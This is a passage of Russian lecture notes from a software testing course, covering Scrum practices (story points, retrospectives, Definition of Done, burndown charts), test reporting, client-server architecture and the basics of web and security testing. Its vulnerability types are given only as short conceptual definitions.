акцентированы на сроке в 18 часов, и тот, кто считал, что задача будет решена за 2
дня, может подумать, что на самом деле и 18 часов будет достаточно, а тот, кто думал
про 5 часов, может подумать, что недооценил. С одной стороны, консенсус
достигается быстрее, но с другой стороны, он не будет эффективным, а
эффективность – это то, для чего мы всё это делаем. В такой ситуации больше в
результат войдет мнение одного человека, а не команды.
Не выделяться из толпы
153
Второй знаменитой проблемой бывает ситуация, когда оценки выставляются не

одновременно. В такой ситуации кто-то, конечно, выскажет свое мнение, но, с другой
стороны, человек сомневающийся решит бросить карту, которая ближе к тем, что есть.
К примеру, опять кто-то решил, что задача займет 18 часов, а до него двое выкинули
по 5 часов, и логично предположить, что данный человек быстро среагирует, что
оценил не так и так выделяться не стоит и бросит не то, что хотел изначально.
Story Points
Одна из самых важных сторон методологии Scrum – так называемые Story Points. Эта
сторона очень плотно интегрирована в Scrum совместно с технологией Planning Poker.
Самая частая проблема в работе Scrum Team – это неумение правильно оценивать
сложность работы и временные затраты на её выполнение.
Для многих действительно тяжело выработать правильную шкалу оценок и здесь

нужен опыт или хитрый подход. Для максимально эффективного и быстрого
внедрения Story Points в жизнь команды нужно взять уже отработанные задачи с
прошлых проектов и провести их полный анализ. В данный анализ должны входить
названия задач, которые выполнялись, и их продолжительность. Дальше всё проще
простого: необходимо расположить эти задачи в порядке возрастания, отсортировав
по времени. Разделить на группы с одинаковыми показателями или близкими и
проставить оценки из вашей колоды карт Scrum Poker.
Рано или поздно использование такого подхода сделает из Вас классную и

прогрессирующую команду, что и есть единственно верное направление. Постоянно
модернизирующаяся команда, всегда будет разгонять свой Velocity и радовать своих
заказчиков успехами.
Что же происходит на самом деле при Story Points?
154
Когда Scrum Team способна оценивать свою работу, ведет график Velocity, следит за
Диаграммой сгорания задач, рано или поздно (или с самого начала работы) абсолютно
все оценки будут вестись в Story Points.
Например, по графику Velocity можно увидеть, что динамика команды по среднему

разгону за каждый Sprint идет вверх и среднее значения за последние две итерации
составили 23-30 Story Points (зависит от выбранной системы оценок). Глядя на эти
показатели Product Owner может видеть, на какие задачи потратить доступные очки,
чтобы заполнить Backlog.
Правильная оценка и использование Story Points делает действительно чудеса, ведь

она связывает между собой работу всей команды: Development TeamScrum Master
ощущает, на что она способна. Product OwnerBacklog видит, есть ли проблемы у
команды, и что можно еще улучшить, а у Sprint не возникает вопросов ,сколько и какие
задачи вкладывать в на текущий .
Ретроспектива спринта
155
Ретроспектива спринта — это возможность для скрам-команды провести инспекцию,

направленную на себя, и создать план улучшений командной работы в следующем
спринте.
Ретроспектива спринта проводится после обзора спринта и перед планированием

следующего спринта. Максимальная продолжительность ретроспективы – 3 часа (для
спринта длительностью один месяц). Для более коротких спринтов, как правило,
отводится меньше времени.
Скрам-мастер убеждается, что событие проходит позитивно и продуктивно, обучает

всех участников укладываться в отведенное на событие время. Он принимает участие
в ретроспективе наравне с другими членами команды, но продолжает нести
ответственность за скрам-процесс.
Цели проведения ретроспективы спринта:
инспекция прошедшего спринта применительно к людям, отношениям, процессам

и инструментам. Обнаружение и упорядочение того, что прошло хорошо и того,
что нуждается в улучшении;
создание плана внедрения улучшений в процесс работы скрам-команды.
Скрам-мастер побуждает скрам-команду улучшать процесс разработки и практики в

рамках скрам-фреймворка. Это необходимо, чтобы в следующем спринте повысить её
эффективность и получать больше удовлетворения от своей работы. Каждую
ретроспективу спринта скрам-команда планирует действия для улучшения качества
продукта, совершенствуя рабочий процесс или адаптируя критерий готовности, если
это необходимо, и не противоречит спецификации продукта и стандартам организации.
К концу ретроспективы, скрам-команда должна запланировать конкретные улучшения,

которые она реализует в следующем спринте. Реализация этих улучшений — и есть
адаптация скрам-команды. Работать над улучшениями можно в любое время,
ретроспектива спринта – формальная возможность сконцентрироваться на инспекции
и адаптации.
Sprint Review Meeting

Окончание каждого Sprint в Scrum знаменуется значительным приростом функционала
продукта. Более того, это означает, что команда полностью написала код, провела
полноценное тестирование и выдала готовую к употреблению часть программного
продукты, или целый продукт.
156
Sprint Review Meeting проводится в конце каждого спринта и носит обзорный характер.
На встрече команда оценивает то, что она сделала, и ,чаще всего, это выглядит в виде
демонстрации новых возможностей.
Не стоит относится к Sprint Review Meeting как к формальной четко поставленной

встрече с развернутыми докладами. Sprint Review Meeting это всё же просто
логическое завершение Sprint. На подготовку к этой встрече не позволительно
готовиться более 2 часов и запрещено использование слайдов типа PowerPoint.
В данной встрече обычно участвует Product OwnerDevelopment Team, Scrum

MasterManagement, , , заказчики и разработчики из других проектов.
В ходе Sprint Review Meeting проект оценивается в отношении цели спринта, которая
была определена во время планирования. В идеале, команда выполнила все задачи
из Product Backlog, помещенные в Sprint, но это не самое важное, а важно то, что была
достигнута цель спринта.
Более подробно, на что смотрит заказчик на Sprint Review Meeting:
Команда передала законченный продукт.

Работа команды завершена.
Показатели проекта (завершенность кода и тд.).
Работоспособность выполненных задач.
Обзор приоритетов (для следующих итераций / спринтов).
Время Sprint Review Meeting
Время данного обзора строится по следующей формуле: за каждую неделю Sprint

набегает 1 час обзора. То есть, если Sprint был четырехнедельным, то Sprint Review
Meeting будет длится 4 часа. Проводится эта встреча в последний день спринта.
Пример Sprint Review Meeting
Один созданный пример на всю базу знаний можно и упомянуть здесь. Разработка
интернет магазина, описываемая в разных статьях нашей Info Base, само собой
разумеется, имеет спринты, а спринты имеют Sprint Review Meeting.
Sprint Review Meeting при разработке интернет магазина
157
Тематика Название Описание Статус Оценка Релиз

Разработка
формы
создания
продукта,
Управление Добавление которая В
2 Релиз 1
каталогом продукта содержит работе
фотографию,
название, цену,
скидку или её
отсутствие...
Удаление
продукта как из
Управление Удаление В
страницы 2 Релиз 1
каталогом продукта работе
редактирования,
так и списком
Наложенный В
Заказ Оплата 10 Релиз 1
платеж работе
Оплата с
помощью карт В
Visa и работе
Mastercard
Оплата с
помощью В
системы Яндекс работе
Деньги
Регистрация с
В
Заказ Вход помощью 1 Незапланировано
работе
Facebook
Регистрация с
В
Заказ Вход помощью 1 Незапланировано
работе
Google+
... ... ... ... ... ...
Имея данный Product Backlog, в Sprint были добавлены задачи из первого релиза. А
точнее, мы имеем задачи:
1. Добавление продукта.
2. Удаление продукта.
3. Оплата - наложенный платеж.
4. Оплата - оплата с помощью карт Visa и Mastercard.
158
На Sprint Review Meeting, соответственно, будут продемонстрированы возможности по

добавлению продуктов в базу интернет магазина и возможность их удалять. Также
продемонстрирована работа корзины с возможностью оплаты заказа по карте или
выбором наложенного платежа.
159
Лекция 5, ч.3. Отчетность
Отчётность
Отчётность - сбор и распространение информации о результатах работы (включая
текущий статус, оценку прогресса и прогноз развития ситуации).
К высокоуровневым задачам отчётности относятся:
Сбор, агрегация и предоставление в удобной для восприятия форме объективной

информации о результатах работы.
Формирование оценки текущего статуса и прогресса (в сравнении с планом).
Обозначение существующих и возможных проблем (если такие есть).
Формирование прогноза развития ситуации и фиксация рекомендаций по

устранению проблем и повышению эффективности работы.
Отчёт о результатах тестирования - документ, обобщающий результаты работ по

тестированию и содержащий информацию, достаточную для соотнесения текущей
ситуации с тест-планом и принятия необходимых управленческих решений.
К низкоуровневым задачам отчётности в тестировании относятся:
Оценка объёма и качества выполненных работ.
Сравнение текущего прогресса с тест-планом (в том числе с помощью анализа

значений метрик).
Описание имеющихся сложностей и формирование рекомендаций по их

устранению.
Предоставление лицам, заинтересованным в проекте, полной и объективной

информации о текущем состоянии качества проекта, выраженной в конкретных
фактах и числах.
Качественный отчёт о результатах тестирования обладает многими свойствами

качественных требований, а также расширяет их набор следующими пунктами:
информативность (в идеале, после прочтения отчёта не должно оставаться

никаких открытых вопросов о том, что происходит с проектом в контексте
качества);
точность и объективность (ни при каких условиях в отчёте не допускается

искажение фактов, а личные мнения должны быть подкреплены твёрдыми
обоснованиями).
160
Отчёт о результатах тестирования создаётся по заранее оговорённому расписанию

(зависящему от модели управления проектом) при участии большинства
представителей проектной команды, задействованных в обеспечении качества.
Большое количество фактических данных для отчёта может быть легко извлечено в
удобной форме из системы управления проектом. Ответственным за создание отчёта,
как правило, является ведущий тестировщик («тест-лид»). При необходимости, отчёт
может обсуждаться на небольших собраниях.
Отчёт о результатах тестирования предоставляется:
менеджеру проекта — как источник информации о текущей ситуации и основа для

принятия управленческих решений;
руководителю команды разработчиков («дев-лиду») — как дополнительный

объективный взгляд на происходящее на проекте;
руководителю команды тестировщиков («тест-лиду») — как способ

структурировать собственные мысли и собрать необходимый материал для
обращения к менеджеру проекта по насущным вопросам, если в этом есть
необходимость;
заказчику — как наиболее объективный источник информации о том, что

происходит на проекте, за который он платит свои деньги.
Отчёт о результатах тестирования включает следующие разделы:
Краткое описание. В предельно краткой форме отражает основные достижения,

проблемы, выводы и рекомендации. В идеальном случае, прочтения краткого
описания может быть достаточно для формирования полноценного представления
о происходящем, что избавит от необходимости читать весь отчёт (это важно, т.к.
отчёт о результатах тестирования может попадать в руки очень занятым людям).
Команда тестировщиков. Список участников проектной команды,

задействованных в обеспечении качества, с указанием их должностей и ролей в
подотчётный период.
Описание процесса тестирования. Последовательное описание того, какие

работы были выполнены за подотчётный период.
Расписание. Детализированное расписание работы команды тестировщиков и/

или личные расписания участников команды.
Статистика по новым дефектам. Таблица, в которой представлены данные по

обнаруженным за подотчётный период дефектам (с классификацией по стадии
жизненного цикла и важности).
161
Список новых дефектов. Список обнаруженных за подотчётный период

дефектов с их краткими описаниями и важностью.
Статистика по всем дефектам. Таблица, в которой представлены данные по

обнаруженным за всё время существования проекта дефектам (с классификацией
по стадии жизненного цикла и важности). Как правило, в этот же раздел
добавляется график, отражающий такие статистические данные.
Рекомендации. Обоснованные выводы и рекомендации по принятию тех или

иных управленческих решений (изменению тест-плана, запросу или
освобождению ресурсов и т.д.) Здесь этой информации можно отвести больше
места, чем в кратком описании (summary), сделав акцент именно на том, что и
почему рекомендуется сделать в имеющейся ситуации.
Приложения. Фактические данные (как правило, значения метрик и графическое

представление их изменения во времени).
Логика построения отчёта о результатах тестирования
Для того, чтобы отчёт о результатах тестирования был действительно полезным, при
его создании следует постоянно помнить об универсальной логике отчётности:
1. Выводы строятся на основе целей (которые были отражены в плане).
2. Выводы дополняются рекомендациями.
3. Выводы, так же, как и рекомендации, строго обосновываются.
4. Обоснование опирается на объективные факты.
Выводы должны быть:
Краткими.
Информативными.
Полезными для читающего отчёт.
Рекомендации должны быть:
Краткими.
Реально выполнимыми.
Дающими как понимание того, что надо сделать.
162
Definition of Done
Вы это уже сделали?
Что отвечать на такой вопрос рядовому сотруднику? Варианта два, но и два пути,
которые данному работнику могут и не понравиться. Если он отвечает «да», то это
означает, что он может взять еще работу на исполнение, а потом окажется, что ему
нужно доделать старую. Также если он отвечает «нет», то его могут посчитать
медлительным и он тормозит процесс.
Такой вопрос обычно задается бесчисленное количество раз при разработке какого-
либо программного продукта, да и, в целом, во время рабочего процесса. В этих
моментах, как и в любых других, должна быть оптимизация способная
минимизировать или исключить полностью негативные стороны этого процесса.
Вообще, понимание выражения "Definition of Done" в полной мере понятна людям,
знакомыми с философией Scrum. Определенно сделанная задача – это та задача,
которая не нуждается в доработках, но тут встает законный вопрос: "А как оценить, что
задача действительно выполнена?"
Как может показаться изначально, вопрос так себе. Ну что значит "как оценить?"
Выполнена - значит, выполнена, не выполнена - значит ,не выполнена.
Давайте посмотрим банальный пример про разработку чего-нибудь, например, части

программы. Скажем, мы написали какой-то функционал, и вроде бы всё, однако, мы
понимаем что наш функционал может иметь баги (ошибки), которые, например, сейчас
не могут быть проверены, так как не готовы другие модули, позволяющие
протестировать. Получается, ставя напротив этой задачи «Выполнено», мы немного
лукавим, так как нам к ней придется возвращаться. Даже если есть модули для
тестирования, необходимо ли тестировать? Может, следует поставить «Выполнено»
только после результатов code review? Как мы видим, у нас очень много вопросов,
которые мешают нам правильно построить работу. Из-за нашей неопределенности
вытекают очень большие проблемы. Мало того, что мы сами можем не понять
,сделали ли мы до конца, а уж другие члены группы точно не смогут разобраться. Как
Вы уже, наверное, догадались, Definition of Done и призвана исправить это и не дать
нам повода беспокоиться!
Definition of Done на страже нашего спокойствия

На самом деле, на страже общего спокойствия. Мы действительно можем не понять
до конца степень законченности нашей задачи, однако оповестить команду, что же мы
все-таки сделали, обязаны. Definition of Done, как и всё в Scrum, должно быть
163
лаконично, поэтому зачастую отводится для этого одно предложение, однако это не
единственный вариант.
Для примера приведем несколько выполненных задач с использованием

Definition of Done:
164
Done = функционал оплаты реализован, проведено тестирование с

тестировщиком Алексеем
Done = разработан документ по спецификации, проведено обсуждение с
клиентами
Done = модуль авторизации разработан полностью, протестирован,
продемонстрирован на Sprint Review Meeting
Done = модуль полностью реализован и выгружен для использования
Как видно, любое описание начинается с “done=”, что дает понять, на что обращать
внимание. Вообще, в листе принято писать такие результаты, которые можно
проверить. Нет смысла описывать мысли, ведь, скажем, «done = придуман внешний
вид интерфейса корзины» звучит странно и никак это проверить нельзя.
Желательно, изначально разработать список правил, которые будут описывать

Definition of Done, чтобы все в команде писали в одном стиле. Это приведет к более
быстрому пониманию того, что хотел передать коллега.
Еще одним из знаменитых способов записи Definition of Done — является простой

список.
165
В заключении, хочется сказать, что не стоит пренебрегать Definition of Done, ведь это
приводит не только к осознанию того, что было сделано, но и к тому, как это нужно
сделать в будущем. Благодаря использованию Definition of Done все будут стараться
делать задачи более четкими и конкретными, чтобы потом гордо сказать: «Точно
сделано!». Помимо этого, набор рейтинга в Velocity будет гораздо выше.
В большинстве своем, мы привыкли к графикам идущими вверх, что означает

положительную динамику, однако они могут идти и вниз и также показывать
положительную динамику. Одним из таких ярких примеров является Диаграмма
сгорания задач (Burndown chart). Само сочетание "Burn Down" дословно переводится
как «гореть вниз» и это действительно так. Данный график является основным
средством для отслеживания выполненных задач в спринте или во всем проекте. Хотя,
по сути, он может использоваться как угодно, но мы его рассматриваем внутри
методологии Scrum.
Пример Диаграммы сгорания задач:
Синим цветом на диаграмме сгорания отмечена идеальная линия выполнения задач,

на которую и следует опираться.
Красным цветом отмечена реальная история выполнения задач.
166
По шкале Y отмечают количество запланированных баллов (в данном случае),

идеальные часы, количество задач и так далее.
По шкале X отмечают количество дней до окончания Sprint.
Как может показаться на первый взгляд, данная диаграмма сгорания задач / Burndown
chart служит всего лишь для самоконтроля и самоотчета, однако ее использование
может рассказать об очень многом.
Читаем Диаграмму сгорания задач / Burndown chart

Начнем с примеров негативных результатов как ведения графика, так и самой работы
команды и закончим более качественными.
1. Burndown Chart: Слишком рано
По диаграмме сгорания задач/Burndown chart отчетливо видно, что команда все

задачи выполнила раньше срока. Такая ситуация тоже не является позитивной, так как
это означает ряд совершенных проблем:
1. Команда сделала неправильную оценку предстоящей работы.
167
2. В случае быстрого выполнения задач, разработчики не добавляли задачи из

следующего спринта.
3. Команда сильно перестраховалась, включив изначально дополнительный срок.
В случае такой проблемы, чаще всего Scrum Master спрашивает команду о

возможности добавления дополнительных задач из Product Backlog.
2. Burndown Chart: Опоздали
Также один из видов негативных диаграмм сгорания задач.
Одной из возможных причин здесь может быть постоянное добавление новых задач во
время спринта, что увеличило нагрузку.
Второй частой проблемой является недоделанность задач, когда задачи сделаны

наполовину. Такие задачи, как выразился Джефф Сазерленд, являются хламом.
В такой ситуации, на Daily Scrum Meeting обязательно нужно говорить о проблемах,

мешающих идти к цели ровной дорогой. Как только линия реальных задач пошла
выше, сразу надо решать проблему – это также один из постулатов методологии
Scrum.
168
3. Burndown Chart: Без оценок
Может быть даже команда и работала, только забыла или не захотела использовать
диаграмму сжигания задач, что является прямо сказать дурным тоном и противоречит
эффективной работе. Команда не может контролировать себя, не может
совершенствоваться и так далее.
4. Burndown Chart: Конечная оценка
169
Собственно, ситуация равна предыдущей. Не смотря на законченный Sprint, все

итоговые оценки были внесены в диаграмму сгорания в самый последний день после
завершения работы. Это равносильно тому, когда вообще законченные задачи не
вносятся. По данному графику невозможно сделать вывода о правильности работы
команды и, даже более того, можно предположить, что команда не стремится к
развитию.
5. Burndown Chart: Zero
170
Отсутствие показателя реальных задач в диаграмме не является поводом считать, что

работа не производилась, ведь она могла быть просто не оценена. Как и в
предыдущих пунктах, такая позиция не позволяет контролировать работу собственной
команды и совершенствоваться.
6. Burndown Chart: Релаксирующая команда
171
Этот пример диаграммы сгорания задач уже значительно лучше, нежели другие, ведь
в нем можно увидеть, как усовершенствовать команду. Возможные проблемы здесь
такие же, как и в пункте «Слишком рано», но Scrum Team решили не заканчивать
Sprint раньше, а более расслаблено продолжить работу, что также является ошибкой.
7. Burndown Chart: Совершенствование
172
Scrum Team на текущих показателях выглядит достаточно хорошо. По линиям видно,

что в самом начале были трудности, но во время Daily Scrum Meeting все вопросы
вскрывались и Scrum Master исправлял работу, ведя команду к цели.
Также, возможно, группа делала принципиальное ускорение для достижения цели.
Еще одной причиной, к примеру, может быть то, что команда брала дополнительные
задачи.
8. Burndown Chart: Опыт
173
На лицо опытная группа, которая, после начала работы, сразу исправляет все
возникающие трудности и совершенствуется так, что резко переходит к активному
сжиганию.
9. Burndown Chart: A++
174
Бесконечно можно смотреть на три вещи: как горит огонь, как течет вода и как строится
идеальный график =).
Матрица соответствия требований

(Requirements Traceability Matrix)
Это двумерная таблица, содержащая соответствие функциональных требований
(functional requirements) продукта и подготовленных тестовых сценариев (test cases). В
заголовках колонок таблицы расположены требования, а в заголовках строк —
тестовые сценарии. На пересечении — отметка, означающая, что требование текущей
колонки покрыто тестовым сценарием текущей строки. Матрица обычно хранится в
виде электронной таблицы.
Матрица соответствия требований используется QA-инженерами для валидации

покрытия требований по продукту тестами.
Цель «Traceability Matrix»:
какие требования «покрыты» тестами, а какие нет.

избыточность тестов (одно функциональное требование покрыто большим
175
количеством тестов).
Данный тестовый артефакт является неотъемлемой частью тестирования.
Табл. "Requirements Traceability Matrix"
176
Лекция 6, ч.1. Архитектура клиент-сервер
Архитектура клиент-сервер
Веб-приложение – это клиент-серверное приложение, в котором клиентом выступает
браузер, а сервером – веб-сервер (в широком смысле).
Основная часть приложения, как правило, находится на стороне веб-сервера, который

обрабатывает полученные запросы в соответствии с бизнес-логикой продукта и
формирует ответ, отправляемый пользователю. На этом этапе в работу включается
браузер, именно он преобразовывает полученный ответ от сервера в графический
интерфейс, понятный пользователю.
Архитектура «клиент-сервер» определяет общие принципы организации

взаимодействия в сети, где имеются серверы, узлы-поставщики некоторых
специфичных функций (сервисов) и клиенты (потребители этих функций).
Практические реализации такой архитектуры называются клиент-серверными
технологиями.
Двухзвенная архитектура - распределение трех базовых компонентов между двумя

узлами (клиентом и сервером). Двухзвенная архитектура используется в клиент-
серверных системах, где сервер отвечает на клиентские запросы напрямую и в полном
объеме.
Расположение компонентов на стороне клиента или сервера определяет следующие

основные модели их взаимодействия в рамках двухзвенной архитектуры:
Сервер терминалов — распределенное представление данных.
177
Файл-сервер — доступ к удаленной базе данных и файловым ресурсам.

Сервер БД — удаленное представление данных.
Сервер приложений — удаленное приложение.
Клиент – это браузер, но встречаются и исключения (в тех случаях, когда один веб-
сервер (ВС1) выполняет запрос к другому (ВС2), роль клиента играет веб-сервер ВС1).
В классической ситуации (когда роль клиента выполняет браузер) для того, чтобы
пользователь увидел графический интерфейс приложения в окне браузера, последний
должен обработать полученный ответ веб-сервера, в котором будет содержаться
информация, реализованная с применением HTML, CSS, JS (самые используемые
технологии). Именно эти технологии «дают понять» браузеру, как именно необходимо
«отрисовать» все, что он получил в ответе.
Веб-сервер – это сервер, принимающий HTTP-запросы от клиентов и выдающий им

HTTP-ответы. Веб-сервером называют как программное обеспечение, выполняющее
функции веб-сервера, так и непосредственно компьютер, на котором это программное
обеспечение работает. Наиболее распространенными видами ПО веб-серверов
являются Apache, IIS и NGINX. На веб-сервере функционирует тестируемое
приложение, которое может быть реализовано с применением самых разнообразных
языков программирования: PHP, Python, Ruby, Java, Perl и пр.
База данных фактически не является частью веб-сервера, но большинство

приложений просто не могут выполнять все возложенные на них функции без нее, так
как именно в базе данных хранится вся динамическая информация приложения
(учетные, пользовательские данные и пр).
База данных - это информационная модель, позволяющая упорядоченно хранить

данные об объекте или группе объектов, обладающих набором свойств, которые
можно категоризировать. Базы данных функционируют под управлением так
называемых систем управления базами данных (далее – СУБД). Самыми
популярными СУБД являются MySQL, MS SQL Server, PostgreSQL, Oracle (все –
клиент-серверные).
Трехзвенная архитектура - сетевое приложение разделено на две и более частей,

каждая из которых может выполняться на отдельном компьютере. Выделенные части
приложения взаимодействуют друг с другом, обмениваясь сообщениями в заранее
согласованном формате.
Третьим звеном в трехзвенной архитектуре становится сервер приложений, т.е.

компоненты распределяются следующим образом:
1. Представление данных — на стороне клиента.

2. Прикладной компонент — на выделенном сервере приложений (как вариант,
выполняющем функции промежуточного ПО).
178
3. Управление ресурсами — на сервере БД, который и представляет запрашиваемые

данные.
Трехзвенная архитектура может быть расширена до многозвенной (N-tier, Multi-tier)

путем выделения дополнительных серверов, каждый из которых будет представлять
собственные сервисы и пользоваться услугами прочих серверов разного уровня.
179
Двухзвенная архитектура проще, так как все запросы обслуживаются одним сервером,
но именно из-за этого она менее надежна и предъявляет повышенные требования к
производительности сервера.
Трехзвенная архитектура сложнее, но, благодаря тому, что функции распределены

между серверами второго и третьего уровня, эта архитектура предоставляет:
1. Высокую степень гибкости и масштабируемости.

2. Высокую безопасность (т.к. защиту можно определить для каждого сервиса или
уровня).
3. Высокую производительность (т.к. задачи распределены между серверами).
Клиент-серверные технологии
Архитектура клиент-сервер применяется в большом числе сетевых технологий,
используемых для доступа к различным сетевым сервисам.
Типы сервисов:
Web-серверы
Изначально предоставляли доступ к гипертекстовым документам по протоколу HTTP

(Hyper Text Transfer Protocol). Сейчас поддерживают расширенные возможности, в
частности, работу с бинарными файлами (изображения, мультимедиа и т.п.).
Серверы приложений
Предназначены для централизованного решения прикладных задач в некоторой

предметной области. Для этого пользователи имеют право запускать серверные
программы на исполнение. Использование серверов приложений позволяет снизить
требования к конфигурации клиентов и упрощает общее управление сетью.
Серверы баз данных
Серверы баз данных используются для обработки пользовательских запросов на

языке SQL. При этом, СУБД находится на сервере, к которому и подключаются
клиентские приложения.
Файл-серверы
Файл-сервер хранит информацию в виде файлов и предоставляет пользователям

доступ к ней. Как правило, файл-сервер обеспечивает и определенный уровень
защиты от несанкционированного доступа
180
Прокси-сервер
Во-первых, действует как посредник, помогая пользователям получить информацию из

Интернета и, при этом, обеспечивая защиту сети.
Во-вторых, сохраняет часто запрашиваемую информацию в кэш-памяти на локальном

диске, быстро доставляя ее пользователям, без повторного обращения к Интернету.
Файрволы (брандмауэры)
Межсетевые экраны, анализирующие и фильтрующие проходящий сетевой трафик, с

целью обеспечения безопасности сети.
Почтовые серверы
Предоставляют услуги по отправке и получению электронных почтовых сообщений.
Серверы удаленного доступа (RAS)
Эти системы обеспечивают связь с сетью по коммутируемым линиям. Удаленный

сотрудник может использовать ресурсы корпоративной ЛВС, подключившись к ней с
помощью обычного модема.
Для доступа к тем или иным сетевым сервисам используются клиенты, возможности
которых характеризуются понятием «толщины». Оно определяет конфигурацию
оборудования и программное обеспечение, имеющиеся у клиента. Рассмотрим
возможные граничные значения:
«Тонкий» клиент
Этот термин определяет клиента, вычислительных ресурсов которого достаточно лишь

для запуска необходимого сетевого приложения через web-интерфейс.
Пользовательский интерфейс такого приложения формируется средствами
статического HTML (выполнение JavaScript не предусматривается), вся прикладная
логика выполняется на сервере. Для работы тонкого клиента достаточно лишь
обеспечить возможность запуска web-браузера, в окне которого и осуществляются все
действия. По этой причине web-браузер часто называют "универсальным клиентом".
«Толстый» клиент
Таковым является рабочая станция или персональный компьютер, работающие под

управлением собственной дисковой операционной системы и имеющие необходимый
набор программного обеспечения. К сетевым серверам «толстые» клиенты
обращаются, в основном, за дополнительными услугами (например, доступ к web-
серверу или корпоративной базе данных).
181
Так же под «толстым» клиентом подразумевается и клиентское сетевое приложение,

запущенное под управлением локальной ОС. Такое приложение совмещает компонент
представления данных (графический пользовательский интерфейс ОС) и прикладной
компонент (вычислительные мощности клиентского компьютера).
В последнее время все чаще используется еще один термин:«rich»-client. «Rich» -

клиент, своего рода, компромисс между «толстым» и «тонким» клиентом. Как и
«тонкий» клиент, «rich»-клиент также представляет графический интерфейс,
описываемый уже средствами XML и включающий некоторую функциональность
толстых клиентов (например, интерфейс drag-and-drop, вкладки, множественные окна,
выпадающие меню и т.п.)
Прикладная логика «rich»-клиента также реализована на сервере. Данные

отправляются в стандартном формате обмена, на основе того же XML (протоколы
SOAP, XML-RPC) и интерпретируются клиентом.
Некоторые основные протоколы «rich»-клиентов на базе XML приведены ниже:
XAML (eXtensible Application Markup Language) — разработан Microsoft и

используется в приложениях на платформе .NET.
XUL (XML User Interface Language) — стандарт, разработанный в рамках проекта
Mozilla, используется, например, в почтовом клиенте Mozilla Thunderbird или
браузере Mozilla Firefox.
Flex — мультимедийная технология на основе XML, разработанная
Macromedia/Adobe.
Протокол передачи данных — набор соглашений интерфейса логического уровня,

которые определяют обмен данными между различными программами. Эти
соглашения задают единообразный способ передачи сообщений и обработки ошибок
при взаимодействии ПО.
Сетевой протокол — набор правил и действий (очерёдности действий), позволяющий

осуществлять соединение и обмен данными между двумя и более включёнными в сеть
устройствами.
Сетевые протоколы:
TCP/IP — набор протоколов передачи данных, получивший название от двух
принадлежащих ему протоколов: TCP (англ. Transmission Control Protocol) и IP (англ.
Internet Protocol).
Наиболее известные протоколы, используемые в сети Интернет:
182
HTTP (Hyper Text Transfer Protocol) — это протокол передачи гипертекста.
HTTPS (HyperText Transfer Protocol Secure) - расширение протокола HTTP для

поддержки шифрования, в целях повышения безопасности. Данные в протоколе
HTTPS передаются поверх криптографических протоколов SSL или TLS.
SSL ( Secure Sockets Layer — уровень защищённых cокетов) —

криптографический протокол, который подразумевает более безопасную связь.
FTP (File Transfer Protocol) — это протокол передачи файлов со специального

файлового сервера на компьютер пользователя.
POP3 (Post Office Protocol) — это стандартный протокол почтового соединения.
SMTP (Simple Mail Transfer Protocol) — протокол, который задает набор правил
для передачи почты.
TELNET — это протокол удаленного доступа.
DTN — протокол, предназначенный для сетей дальней космической связи IPN,

которые используются NASA.
Всё ПО для работы с протоколом HTTP разделяется на три большие категории:
1.Серверы - основные поставщики услуг хранения и обработки информации

(обработка запросов).
2.Клиенты - конечные потребители услуг сервера (отправка запроса).
3.Прокси (посредники) - для выполнения транспортных служб.
Прокси-сервер (proxy — «представитель, уполномоченный») - промежуточный

сервер (комплекс программ) в компьютерных сетях, выполняющий роль посредника
между пользователем и целевым сервером (при этом о посредничестве могут как
знать, так и не знать обе стороны), позволяющий клиентам как выполнять косвенные
запросы (принимая и передавая их через прокси-сервер) к другим сетевым службам,
так и получать ответы.
183
Лекция 6, ч.2. Тестирование web
Тестирование web
Тестирование веб приложений включает:
Функциональное тестирование.
Тестирование безопасности.
Нагрузочное тестирование.
Кроссбраузерное тестирование.
Функциональное тестирование рассматривает заранее указанное поведение и

основывается на анализе спецификаций функциональности компонента или системы в
целом.
Функциональные тесты основываются на функциях, выполняемых системой, и могут

проводиться на всех уровнях тестирования(компонентном, интеграционном,
системном, приемочном). Как правило, эти функции описываются в требованиях,
функциональных спецификациях или в виде случаев использования системы (use
cases).
Тестирование функциональности может проводиться в двух аспектах:
Требования.
Бизнес-процессы.
Тестирование в перспективе «требования» использует спецификацию

функциональных требований к системе, как основу для дизайна тестовых случаев
(Test Cases). В этом случае необходимо сделать список того, что будет тестироваться,
а что нет, приоритезировать требования на основе рисков, а на основе этого
приоритезировать тестовые сценарии (test cases). Это позволит сфокусироваться и не
упустить при тестировании наиболее важный функционал.
Тестирование в перспективе «бизнес-процессы» использует знание этих самых

бизнес-процессов, которые описывают сценарии ежедневного использования системы.
В этой перспективе, тестовые сценарии (test scripts), как правило, основываются на
случаях использования системы (use cases).
Преимущества функционального тестирования:
имитирует фактическое использование системы.
Недостатки функционального тестирования:
возможность упущения логических ошибок в программном обеспечении;
184
вероятность избыточного тестирования.
Тестирование безопасности - это стратегия тестирования, используемая для

проверки безопасности системы, а также для анализа рисков, связанных с
обеспечением целостного подхода к защите приложения, атак хакеров, вирусов,
несанкционированного доступа к конфиденциальным данным.
Принципы безопасности программного обеспечения:
Конфиденциальность - ограничение доступа к ресурсу некоторой категории

пользователей или, другими словами, при каких условиях пользователь
авторизован получить доступ к данному ресурсу.
Целостность и доверие - ожидается, что ресурс будет изменен только
соответствующим способом определенной группой пользователей.
Повреждение и восстановление - в случае, когда данные повреждаются или
неправильно меняются авторизованным или не авторизованным пользователем,
Вы должны определить, насколько важной является процедура восстановления
данных.
Доступность - требования о том, что ресурсы должны быть доступны
авторизованному пользователю, внутреннему объекту или устройству. Как
правило, чем более критичен ресурс, тем выше уровень доступности должен
быть.
Виды уязвимостей
Наиболее распространенными видами уязвимости в безопасности программного
обеспечения являются:
XSS (Cross-Site Scripting) - это вид уязвимости программного обеспечения (Web

приложений), при которой на генерированной сервером странице выполняются
вредоносные скрипты с целью атаки клиента.
XSRF / CSRF (Request Forgery) - это вид уязвимости, позволяющий использовать
недостатки HTTP протокола, при этом, злоумышленники работают по следующей
схеме: ссылка на вредоносный сайт устанавливается на странице, пользующейся
доверием у пользователя, при переходе по вредоносной ссылке выполняется
скрипт, сохраняющий личные данные пользователя (пароли, платежные данные и
т.д.), либо отправляющий СПАМ сообщения от лица пользователя, либо изменяет
доступ к учетной записи пользователя для получения полного контроля над ней.
Code injections (SQL, PHP, ASP) - это вид уязвимости, при котором становится
возможно осуществить запуск исполняемого кода с целью получения доступа к
185
системным ресурсам, несанкционированного доступа к данным либо выведения

системы из строя.
Server-Side Includes (SSI) Injection - это вид уязвимости, использующий вставку
серверных команд в HTML код или запуск их напрямую с сервера.
Authorization Bypass - это вид уязвимости, при котором возможно получить
несанкционированный доступ к учетной записи или документам другого
пользователя.
Как тестировать ПО на безопасность?
